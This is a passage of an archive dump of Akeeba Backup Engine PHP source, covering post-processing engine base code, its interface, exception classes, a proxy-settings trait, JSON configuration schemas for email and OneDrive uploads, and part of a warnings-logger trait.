	 */
	protected $advisesDeletionAfterProcessing = true;

	/**
	 * Does this engine support remote file deletes?
	 *
	 * @var bool
	 */
	protected $supportsDelete = false;

	/**
	 * Does this engine support downloads to files?
	 *
	 * @var bool
	 */
	protected $supportsDownloadToFile = false;

	/**
	 * Does this engine support downloads to browser?
	 *
	 * @var bool
	 */
	protected $supportsDownloadToBrowser = false;

	/**
	 * Does this engine push raw data to the browser when downloading a file?
	 *
	 * Set to true if raw data will be dumped to the browser when downloading the file to the browser. Set to false if
	 * a URL is returned instead.
	 *
	 * @var bool
	 */
	protected $inlineDownloadToBrowser = false;

	/**
	 * The remote absolute path to the file which was just processed. Leave null if the file is meant to
	 * be non-retrievable, i.e. sent to email or any other one way service.
	 *
	 * @var string
	 */
	protected $remotePath = null;

	/**
	 * Whitelist of method names you can call using customAPICall().
	 *
	 * @var array
	 */
	protected $allowedCustomAPICallMethods = ['oauthCallback'];

	/**
	 * The connector object for this post-processing engine
	 *
	 * @var object|null
	 */
	private $connector;

	public function delete($path)
	{
		throw new DeleteNotSupported();
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		throw new DownloadToServerNotSupported();
	}

	public function downloadToBrowser($remotePath)
	{
		throw new DownloadToBrowserNotSupported();
	}

	public final function customAPICall($method, $params = [])
	{
		if (!in_array($method, $this->allowedCustomAPICallMethods) || !method_exists($this, $method))
		{
			header('HTTP/1.0 501 Not Implemented');

			exit();
		}

		return call_user_func_array([$this, $method], [$params]);
	}

	public function oauthOpen($params = [])
	{
		$callback = $params['callbackURI'] . '&method=oauthCallback';

		$url = $this->getOAuth2HelperUrl();
		$url .= (strpos($url, '?') !== false) ? '&' : '?';
		$url .= 'callback=' . urlencode($callback);
		$url .= '&dlid=' . urlencode(Platform::getInstance()->get_platform_configuration_option('update_dlid', ''));

		Platform::getInstance()->redirect($url);
	}

	/**
	 * Fetches the authentication token from the OAuth helper script, after you've run the first step of the OAuth
	 * authentication process. Must be overridden in subclasses.
	 *
	 * @param   array  $params
	 *
	 * @return  void
	 *
	 * @throws  OAuthNotSupported
	 */
	public function oauthCallback(array $params)
	{
		throw new OAuthNotSupported();
	}

	public function recommendsBreakBefore()
	{
		return $this->recommendsBreakBefore;
	}

	public function recommendsBreakAfter()
	{
		return $this->recommendsBreakAfter;
	}

	public function isFileDeletionAfterProcessingAdvisable()
	{
		return $this->advisesDeletionAfterProcessing;
	}

	public function supportsDelete()
	{
		return $this->supportsDelete;
	}

	public function supportsDownloadToFile()
	{
		return $this->supportsDownloadToFile;
	}

	public function supportsDownloadToBrowser()
	{
		return $this->supportsDownloadToBrowser;
	}

	public function doesInlineDownloadToBrowser()
	{
		return $this->inlineDownloadToBrowser;
	}

	public function getRemotePath()
	{
		return $this->remotePath;
	}

	/**
	 * Returns the URL to the OAuth2 helper script. Used by the oauthOpen method. Must be overridden in subclasses.
	 *
	 * @return  string
	 *
	 * @throws  OAuthNotSupported
	 */
	protected function getOAuth2HelperUrl()
	{
		throw new OAuthNotSupported();
	}

	/**
	 * Returns an instance of the connector object.
	 *
	 * @param   bool  $forceNew  Should I force the creation of a new connector object?
	 *
	 * @return  object  The connector object
	 *
	 * @throws  BadConfiguration  If there is a configuration error which prevents creating a connector object.
	 * @throws  Exception
	 */
	final protected function getConnector($forceNew = false)
	{
		if ($forceNew)
		{
			$this->resetConnector();
		}

		if (empty($this->connector))
		{
			$this->connector = $this->makeConnector();
		}

		return $this->connector;
	}

	/**
	 * Resets the connector.
	 *
	 * If the connector requires any special handling upon destruction you must handle it in its __destruct method.
	 *
	 * @return  void
	 */
	final protected function resetConnector()
	{
		$this->connector = null;
	}

	/**
	 * Creates a new connector object based on the engine configuration stored in the backup profile.
	 *
	 * Do not use this method directly. Use getConnector() instead.
	 *
	 * @return  object  The connector object
	 *
	 * @throws  BadConfiguration  If there is a configuration error which prevents creating a connector object.
	 * @throws  Exception  Any other error when creating or initializing the connector object.
	 */
	protected abstract function makeConnector();
}
com_akeeba/BackupEngine/Postproc/PostProcInterface.php000060400000016022152455305260017065 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Exception\DeleteNotSupported;
use Akeeba\Engine\Postproc\Exception\DownloadToBrowserNotSupported;
use Akeeba\Engine\Postproc\Exception\DownloadToServerNotSupported;
use Akeeba\Engine\Postproc\Exception\OAuthNotSupported;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Exception;

interface PostProcInterface
{
	/**
	 * This function takes care of post-processing a file (typically a backup archive part file).
	 *
	 * If the process has ran to completion it returns true.
	 *
	 * If more work is required (the file has only been partially uploaded) it returns false.
	 *
	 * It the process has failed an Exception is thrown.
	 *
	 * @param   string       $localFilepath   Absolute path to the part we'll have to process
	 * @param   string|null  $remoteBaseName  Base name of the uploaded file, skip to use $absolute_filename's
	 *
	 * @return  bool  True on success, false if more work is required
	 *
	 * @throws  Exception  When an error occurred during post-processing
	 */
	public function processPart($localFilepath, $remoteBaseName = null);

	/**
	 * Deletes a remote file
	 *
	 * @param   string  $path  The absolute, remote storage path to the file we're deleting
	 *
	 * @return  void
	 *
	 * @throws  DeleteNotSupported  When this feature is not supported at all.
	 * @throws  Exception  When an engine error occurs
	 */
	public function delete($path);

	/**
	 * Downloads a remotely stored file back to the site's server. It can optionally do a range download. If range
	 * downloads are not supported we throw a RangeDownloadNotSupported exception. Any other type of Exception means
	 * that the download failed.
	 *
	 * @param   string    $remotePath  The path to the remote file
	 * @param   string    $localFile   The absolute path to the local file we're writing to
	 * @param   int|null  $fromOffset  The offset (in bytes) to start downloading from
	 * @param   int|null  $length      The amount of data (in bytes) to download
	 *
	 * @return  void
	 *
	 * @throws  DownloadToServerNotSupported  When this feature is not supported at all.
	 * @throws  RangeDownloadNotSupported  When range downloads are not supported.
	 * @throws  Exception  On failure.
	 */
	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null);

	/**
	 * Downloads a remotely stored file to the user's browser, without storing it on the site's web server first.
	 *
	 * If $this->inlineDownloadToBrowser is true the method outputs a byte stream to the browser and returns null.
	 *
	 * If $this->inlineDownloadToBrowser is false it returns a string containing a public download URL. The user's
	 * browser will be redirected to that URL.
	 *
	 * If this feature is not supported a DownloadToBrowserNotSupported exception will be thrown.
	 *
	 * Any other Exception indicates an error while trying to download to browser such as file not found, problem with
	 * the remote service etc.
	 *
	 * @param   string  $remotePath  The absolute, remote storage path to the file we want to download
	 *
	 * @return  string|null
	 *
	 * @throws  DownloadToBrowserNotSupported  When this feature is not supported at all.
	 * @throws  Exception  When an error occurs.
	 */
	public function downloadToBrowser($remotePath);

	/**
	 * A proxy which allows us to execute arbitrary methods in this engine. Used for AJAX calls, typically to update UI
	 * elements with information fetched from the remote storage service.
	 *
	 * For security reasons, only methods whitelisted in the $this->allowedCustomAPICallMethods array can be called.
	 *
	 * @param   string  $method  The method to call.
	 * @param   array   $params  Any parameters to send to the method, in array format
	 *
	 * @return  mixed  The return value of the method.
	 */
	public function customAPICall($method, $params = []);

	/**
	 * Opens an OAuth window (performs an HTTP redirection).
	 *
	 * @param   array  $params  Any parameters required to launch OAuth
	 *
	 * @return  void
	 *
	 * @throws  OAuthNotSupported  When not supported.
	 * @throws  Exception  When an error occurred.
	 */
	public function oauthOpen($params = []);

	/**
	 * Fetches the authentication token from the OAuth helper script, after you've run the first step of the OAuth
	 * authentication process. Must be overridden in subclasses.
	 *
	 * @param   array  $params
	 *
	 * @return  void
	 *
	 * @throws  OAuthNotSupported
	 */
	public function oauthCallback(array $params);

	/**
	 * Does the engine recommend doing a step break before post-processing backup archives with it?
	 *
	 * @return  bool
	 */
	public function recommendsBreakBefore();

	/**
	 * Does the engine recommend doing a step break after post-processing backup archives with it?
	 *
	 * @return  bool
	 */
	public function recommendsBreakAfter();

	/**
	 * Is it advisable to delete files successfully post-processed by this post-processing engine?
	 *
	 * Currently only the “None” method advises against deleting successfully post-processed files for the simple reason
	 * that it does absolutely nothing with the files. The only copy is still on the server.
	 *
	 * @return  bool
	 */
	public function isFileDeletionAfterProcessingAdvisable();

	/**
	 * Does this engine support deleting remotely stored files?
	 *
	 * Most engines support deletion. However, some engines such as “Send by email”, do not have a way to find files
	 * already processed and delete them. Or it may be that we are sending the file to a write-only storage service
	 * which does not support deletions.
	 *
	 * @return  bool
	 */
	public function supportsDelete();

	/**
	 * Does this engine support downloading backup archives back to the site's web server?
	 *
	 * @return  bool
	 */
	public function supportsDownloadToFile();

	/**
	 * Does this engine support downloading backup archives directly to the user's browser?
	 *
	 * @return  bool
	 */
	public function supportsDownloadToBrowser();

	/**
	 * Does this engine return a bytestream when asked to download backup archives directly to the user's browser?
	 *
	 * @return  bool
	 */
	public function doesInlineDownloadToBrowser();

	/**
	 * Returns the remote absolute path to the file which was just processed.
	 *
	 * @return  string
	 */
	public function getRemotePath();
}
com_akeeba/BackupEngine/Postproc/email.json000060400000002460152455305260014745 0ustar00{
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_EMAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_EMAIL_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.email.address": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_PROCEMAIL_ADDRESS_TITLE",
        "description": "COM_AKEEBA_CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION"
    },
    "engine.postproc.email.subject": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_PROCEMAIL_SUBJECT_TITLE",
        "description": "COM_AKEEBA_CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION"
    }
}com_akeeba/BackupEngine/Postproc/None.php000060400000002617152455305260014377 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

class None extends Base
{
	public function __construct()
	{
		// No point in breaking the step; we simply do nothing :)
		$this->recommendsBreakAfter           = false;
		$this->recommendsBreakBefore          = false;
		$this->advisesDeletionAfterProcessing = false;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		// Really nothing to do!!
		return true;
	}

	protected function makeConnector()
	{
		// I have to return an object to satisfy the definition.
		return (object) [
			'foo' => 'bar',
		];
	}
}
com_akeeba/BackupEngine/Postproc/ProxyAware.php000060400000004675152455305260015607 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

use Akeeba\Engine\Platform;

trait ProxyAware
{
	/**
	 * Apply the platform proxy configuration to the cURL resource.
	 *
	 * @param   resource  $ch  The cURL resource, returned by curl_init();
	 */
	protected function applyProxySettingsToCurl($ch)
	{
		if (defined('AKEEBA_NO_PROXY_AWARE'))
		{
			return;
		}

		$proxySettings = Platform::getInstance()->getProxySettings();

		if (!$proxySettings['enabled'])
		{
			return;
		}

		curl_setopt($ch, CURLOPT_PROXY, $proxySettings['host'] . ':' . $proxySettings['port']);

		if (empty($proxySettings['user']))
		{
			return;
		}

		curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxySettings['user'] . ':' . $proxySettings['pass']);
	}

	protected function getProxyStreamContext()
	{
		if (defined('AKEEBA_NO_PROXY_AWARE'))
		{
			return [];
		}

		$ret           = [];
		$proxySettings = Platform::getInstance()->getProxySettings();

		if (!$proxySettings['enabled'])
		{
			return $ret;
		}

		$ret['http'] = [
			'proxy'           => $proxySettings['host'] . ':' . $proxySettings['port'],
			'request_fulluri' => true,
		];
		$ret['ftp']  = [
			'proxy'           => $proxySettings['host'] . ':' . $proxySettings['port'],
			// So, request_fulluri isn't documented for the FTP transport but seems to be required...?!
			'request_fulluri' => true,
		];

		if (empty($proxySettings['user']))
		{
			return $ret;
		}

		$ret['http']['header'] = ['Proxy-Authorization: Basic ' . base64_encode($proxySettings['user'] . ':' . $proxySettings['pass'])];
		$ret['ftp']['header'] = ['Proxy-Authorization: Basic ' . base64_encode($proxySettings['user'] . ':' . $proxySettings['pass'])];

		return $ret;
	}
}com_akeeba/BackupEngine/Postproc/Exception/DownloadToBrowserNotSupported.php000060400000002277152455305260023445 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Indicates that the post-processing engine does not support downloading remotely stored files to the user's browser.
 */
class DownloadToBrowserNotSupported extends EngineException
{
	protected $messagePrototype = 'The %s post-processing engine does not support downloading of backup archives to the browser.';
}
com_akeeba/BackupEngine/Postproc/Exception/OAuthNotSupported.php000060400000002344152455305260021042 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Indicates that the post-processing engine does not support OAuth2 or similar redirection-based authentication with
 * the remote storage provider.
 */
class OAuthNotSupported extends EngineException
{
	protected $messagePrototype = 'The %s post-processing engine does not support opening an authentication window to the remote storage provider.';
}
com_akeeba/BackupEngine/Postproc/Exception/DownloadToServerNotSupported.php000060400000002264152455305260023264 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Indicates that the post-processing engine does not support downloading remotely stored files to the server
 */
class DownloadToServerNotSupported extends EngineException
{
	protected $messagePrototype = 'The %s post-processing engine does not support downloading of backup archives to the server.';
}
com_akeeba/BackupEngine/Postproc/Exception/RangeDownloadNotSupported.php000060400000002226152455305260022545 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Indicates that the post-processing engine does not support range downloads.
 */
class RangeDownloadNotSupported extends EngineException
{
	protected $messagePrototype = 'The %s post-processing engine does not support range downloads of backup archives to the server.';
}
com_akeeba/BackupEngine/Postproc/Exception/BadConfiguration.php000060400000002031152455305260020642 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * Indicates an error with the post-processing engine's configuration
 */
class BadConfiguration extends RuntimeException
{
}
com_akeeba/BackupEngine/Postproc/Exception/EngineException.php000060400000005507152455305260020523 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Base;
use Exception;
use RuntimeException;
use Throwable;

class EngineException extends RuntimeException
{
	protected $messagePrototype = 'The %s post-processing engine has experienced an unspecified error.';

	/**
	 * Construct the exception. If a message is not defined the default message for the exception will be used.
	 *
	 * @param   string               $message   [optional] The Exception message to throw.
	 * @param   int                  $code      [optional] The Exception code.
	 * @param   Exception|Throwable  $previous  [optional] The previous throwable used for the exception chaining.
	 */
	public function __construct($message = "", $code = 0, $previous = null)
	{
		if (empty($message))
		{
			$engineName = $this->getEngineKeyFromBacktrace();
			$message    = sprintf($this->messagePrototype, $engineName);
		}

		parent::__construct($message, $code, $previous);
	}

	/**
	 * Returns the engine name (class name without the namespace) from the PHP execution backtrace.
	 *
	 * @return mixed|string
	 */
	protected function getEngineKeyFromBacktrace()
	{
		// Make sure the backtrace is at least 3 levels deep
		$backtrace = debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT, 5);

		// We need to be at least two levels deep
		if (count($backtrace) < 2)
		{
			return 'current';
		}

		for ($i = 1; $i < count($backtrace); $i++)
		{
			// Get the fully qualified class
			$object = $backtrace[$i]['object'];

			// We need a backtrace element with an object attached.
			if (!is_object($object))
			{
				continue;
			}

			// If the object is not a Postproc\Base object go to the next entry.
			if (!($object instanceof Base))
			{
				continue;
			}

			// Get the bare class name
			$fqnClass  = $backtrace[$i]['class'];
			$parts     = explode('\\', $fqnClass);
			$bareClass = array_pop($parts);

			// Do not return the base object!
			if ($bareClass == 'Base')
			{
				continue;
			}

			return $bareClass;
		}

		return 'current';
	}
}
com_akeeba/BackupEngine/Postproc/Exception/DeleteNotSupported.php000060400000002211152455305260021215 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Indicates that the post-processing engine does not support deleting remotely stored files.
 */
class DeleteNotSupported extends EngineException
{
	protected $messagePrototype = 'The %s post-processing engine does not support deletion of backup archives.';
}
com_akeeba/BackupEngine/Postproc/none.json000060400000000254152455305260014614 0ustar00{
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_NONE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_NONE_DESCRIPTION"
    }
}com_akeeba/BackupEngine/Postproc/onedriveapp.json000060400000004565152455305260016202 0ustar00{
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.onedriveapp.chunk_upload": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_ENABLE"
    },
    "engine.postproc.onedriveapp.chunk_upload_size": {
        "default": "10",
        "type": "integer",
        "min": "4",
        "max": "60",
        "shortcuts": "5|10|20|40|60",
        "scale": "1",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_SIZE",
        "showon": "engine.postproc.onedriveapp.chunk_upload:1"
    },
    "engine.postproc.onedriveapp.openoauth": {
        "default": "",
        "type": "button",
        "title": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_TITLE",
        "description": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_DESC",
        "hook": "akconfig_onedriveapp_openoauth"
    },
    "engine.postproc.onedriveapp.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVEAPP_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVEAPP_DIRECTORY_DESCRIPTION"
    },
    "engine.postproc.onedriveapp.access_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION"
    },
    "engine.postproc.onedriveapp.refresh_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION"
    }
}com_akeeba/BackupEngine/Util/Log/WarningsLoggerInterface.php000060400000003420152455305260020067 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Log;

defined('AKEEBAENGINE') || die();

interface WarningsLoggerInterface
{
	/**
	 * Returns an array with all warnings logged since the last time warnings were reset. The maximum number of warnings
	 * returned is controlled by setWarningsQueueSize().
	 *
	 * @return array
	 */
	public function getWarnings();

	/**
	 * Resets the warnings queue.
	 *
	 * @return void
	 */
	public function resetWarnings();

	/**
	 * A combination of getWarnings() and resetWarnings(). Returns the warnings and immediately resets the warnings
	 * queue.
	 *
	 * @return array
	 */
	public function getAndResetWarnings();

	/**
	 * Set the warnings queue size. A size of 0 means "no limit".
	 *
	 * @param   int  $queueSize  The size of the warnings queue (in number of warnings items)
	 *
	 * @return void
	 */
	public function setWarningsQueueSize($queueSize = 0);

	/**
	 * Returns the warnings queue size.
	 *
	 * @return int
	 */
	public function getWarningsQueueSize();
}
com_akeeba/BackupEngine/Util/Log/WarningsLoggerAware.php000060400000005562152455305260017237 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Log;

defined('AKEEBAENGINE') || die();

trait WarningsLoggerAware
{
	/**
	 * The warnings in the current queue
	 *
	 * @var string[]
	 */
	private $warningsQueue = [];

	/**
	 * The maximum length of the warnings queue
	 *
	 * @var int
	 */
	private $warningsQueueSize = 0;

	/**
	 * A combination of getWarnings() and resetWarnings(). Returns the warnings and immediately resets the warnings
	 * queue.
	 *
	 * @return array
	 */
	final public function getAndResetWarnings()
	{
		$ret = $this->getWarnings();

		$this->resetWarnings();

		return $ret;
	}

	/**
	 * Returns an array with all warnings logged since the last time warnings were reset. The maximum number of warnings
	 * returned is controlled by setWarningsQueueSize().
	 *
	 * @return array
	 */
	final public function getWarnings()
	{
		return $this->warningsQueue;
	}

	/**
	 * Resets the warnings queue.
	 *
	 * @return void
	 */
	final public function resetWarnings()
	{
		$this->warningsQueue = [];
	}

	/**
	 * Returns the warnings queue size.
	 *
	 * @return int
	 */
	final public function getWarningsQueueSize()
	{
		return $this->warningsQueueSize;
	}

	/**
	 * Set the warnings queue size. A size of 0 means "no limit".
	 *
	 * @param   int  $queueSize  The size of the warnings queue (in number of warnings items)
	 *
	 * @return void
